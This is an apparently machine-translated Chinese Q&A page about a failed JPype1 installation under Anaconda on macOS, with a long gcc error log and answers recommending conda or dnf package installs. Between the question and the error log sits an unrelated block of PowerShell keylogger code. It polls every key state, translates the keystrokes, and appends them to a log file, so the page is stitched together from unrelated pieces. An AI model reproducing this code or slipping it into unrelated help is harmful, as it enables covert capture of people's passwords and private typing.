在系统中安装JPype1时出现错误。我正在使用Python 3.7。 JPype1是Jaydebeapi的依赖项。
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
以下是错误消息:
Collecting jpype1 Using cached https://files.pythonhosted.org/packages/c4/4b/60a3e63d51714d4d7ef1b1efdf84315d118a0a80a5b085bb52a7e2428cdc/JPype1-0.6.3.tar.gz Building wheels for collected packages: jpype1 Running setup.py bdist_wheel for jpype1 ... error Complete output from command /Users/citius/anaconda3/bin/python -u -c "import setuptools, tokenize;__file__='/private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-install-1rreficl/jpype1/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" bdist_wheel -d /private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-wheel-swsvni4l --python-tag cp36: running bdist_wheel running build running build_py creating build creating build/lib.macosx-10.7-x86_64-3.6 creating build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jcollection.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_classpath.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jio.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_pykeywords.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jproxy.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_gui.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_darwin.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/nio.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_cygwin.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_properties.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_refdaemon.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jboxed.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/JClassUtil.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jvmfinder.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/imports.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_core.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_linux.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jarray.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jobject.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jclass.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_windows.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jwrapper.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jexception.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/reflect.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jpackage.py -> build/lib.macosx-10.7-x86_64-3.6/jpype creating build/lib.macosx-10.7-x86_64-3.6/jpype/awt copying jpype/awt/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpype/awt creating build/lib.macosx-10.7-x86_64-3.6/jpype/awt/event copying jpype/awt/event/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpype/awt/event copying jpype/awt/event/WindowAdapter.py -> build/lib.macosx-10.7-x86_64-3.6/jpype/awt/event creating build/lib.macosx-10.7-x86_64-3.6/jpypex copying jpypex/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex creating build/lib.macosx-10.7-x86_64-3.6/jpypex/swing copying jpypex/swing/AbstractAction.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex/swing copying jpypex/swing/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex/swing copying jpypex/swing/pyutils.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex/swing running build_ext /private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-install-1rreficl/jpype1/setup.py:173: FeatureNotice: Turned ON Numpy support for fast Java array access FeatureNotice) building '_jpype' extension creating build/temp.macosx-10.7-x86_64-3.6 creating build/temp.macosx-10.7-x86_64-3.6/native creating build/temp.macosx-10.7-x86_64-3.6/native/python creating build/temp.macosx-10.7-x86_64-3.6/native/common gcc -Wno-unused-result -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -I/Users/citius/anaconda3/include -arch x86_64 -I/Users/citius/anaconda3/include -arch x86_64 -DMACOSX=1 -DHAVE_NUMPY=1 -Inative/common/include -Inative/python/include -Inative/jni_include -I/Users/citius/anaconda3/lib/python3.6/site-packages/numpy/core/include -I/Users/citius/anaconda3/include/python3.6m -c native/python/jpype_python.cpp -o build/temp.macosx-10.7-x86_64-3.6/native/python/jpype_python.o -ggdb In file included from /Users/citius/anaconda3/lib/gcc/x86_64-apple-darwin11.4.2/4.8.5/include-fixed/syslimits.h:7:0, from /Users/citius/anaconda3/lib/gcc/x86_64-apple-darwin11.4.2/4.8.5/include-fixed/limits.h:34, from /Users/citius/anaconda3/include/python3.6m/Python.h:11, from native/python/include/jpype_python.h:23, from native/python/jpype_python.cpp:19: /Users/citius/anaconda3/lib/gcc/x86_64-apple-darwin11.4.2/4.8.5/include-fixed/limits.h:168:61: fatal error: limits.h: No such file or directory #include_next /* recurse down to the real one */ ^ compilation terminated. error: command 'gcc' failed with exit status 1 ---------------------------------------- Failed building wheel for jpype1 Running setup.py clean for jpype1 Failed to build jpype1 Installing collected packages: jpype1 Running setup.py install for jpype1 ... error Complete output from command /Users/citius/anaconda3/bin/python -u -c "import setuptools, tokenize;__file__='/private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-install-1rreficl/jpype1/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-record-3pg5yd08/install-record.txt --single-version-externally-managed --compile: running install running build running build_py creating build creating build/lib.macosx-10.7-x86_64-3.6 creating build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jcollection.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_classpath.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jio.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_pykeywords.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jproxy.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_gui.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_darwin.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/nio.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_cygwin.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_properties.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_refdaemon.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jboxed.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/JClassUtil.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jvmfinder.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/imports.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_core.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_linux.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jarray.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jobject.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jclass.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_windows.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jwrapper.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jexception.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/reflect.py -> build/lib.macosx-10.7-x86_64-3.6/jpype copying jpype/_jpackage.py -> build/lib.macosx-10.7-x86_64-3.6/jpype creating build/lib.macosx-10.7-x86_64-3.6/jpype/awt copying jpype/awt/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpype/awt creating build/lib.macosx-10.7-x86_64-3.6/jpype/awt/event copying jpype/awt/event/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpype/awt/event copying jpype/awt/event/WindowAdapter.py -> build/lib.macosx-10.7-x86_64-3.6/jpype/awt/event creating build/lib.macosx-10.7-x86_64-3.6/jpypex copying jpypex/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex creating build/lib.macosx-10.7-x86_64-3.6/jpypex/swing copying jpypex/swing/AbstractAction.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex/swing copying jpypex/swing/__init__.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex/swing copying jpypex/swing/pyutils.py -> build/lib.macosx-10.7-x86_64-3.6/jpypex/swing running build_ext /private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-install-1rreficl/jpype1/setup.py:173: FeatureNotice: Turned ON Numpy support for fast Java array access FeatureNotice) building '_jpype' extension creating build/temp.macosx-10.7-x86_64-3.6 creating build/temp.macosx-10.7-x86_64-3.6/native creating build/temp.macosx-10.7-x86_64-3.6/native/python creating build/temp.macosx-10.7-x86_64-3.6/native/common gcc -Wno-unused-result -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -I/Users/citius/anaconda3/include -arch x86_64 -I/Users/citius/anaconda3/include -arch x86_64 -DMACOSX=1 -DHAVE_NUMPY=1 -Inative/common/include -Inative/python/include -Inative/jni_include -I/Users/citius/anaconda3/lib/python3.6/site-packages/numpy/core/include -I/Users/citius/anaconda3/include/python3.6m -c native/python/jpype_python.cpp -o build/temp.macosx-10.7-x86_64-3.6/native/python/jpype_python.o -ggdb In file included from /Users/citius/anaconda3/lib/gcc/x86_64-apple-darwin11.4.2/4.8.5/include-fixed/syslimits.h:7:0, from /Users/citius/anaconda3/lib/gcc/x86_64-apple-darwin11.4.2/4.8.5/include-fixed/limits.h:34, from /Users/citius/anaconda3/include/python3.6m/Python.h:11, from native/python/include/jpype_python.h:23, from native/python/jpype_python.cpp:19: /Users/citius/anaconda3/lib/gcc/x86_64-apple-darwin11.4.2/4.8.5/include-fixed/limits.h:168:61: fatal error: limits.h: No such file or directory #include_next /* recurse down to the real one */ ^ compilation terminated. error: command 'gcc' failed with exit status 1 ---------------------------------------- Command "/Users/citius/anaconda3/bin/python -u -c "import setuptools, tokenize;__file__='/private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-install-1rreficl/jpype1/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-record-3pg5yd08/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /private/var/folders/kw/ykkdj1vn7qj_2hms02xmtz6h0000gn/T/pip-install-1rreficl/jpype1/
答案 0 :(得分:3)
首先使用conda安装gcc
conda install gcc
然后对jpype1使用二进制安装。从conda-forge软件渠道进行安装。
conda install -c conda-forge jpype1
对我有用。
答案 1 :(得分:0)
对于Amazon Linux或其他基于RedHat的:
dnf install redhat-rpm-config gcc-c++ python3-devel unixODBC-devel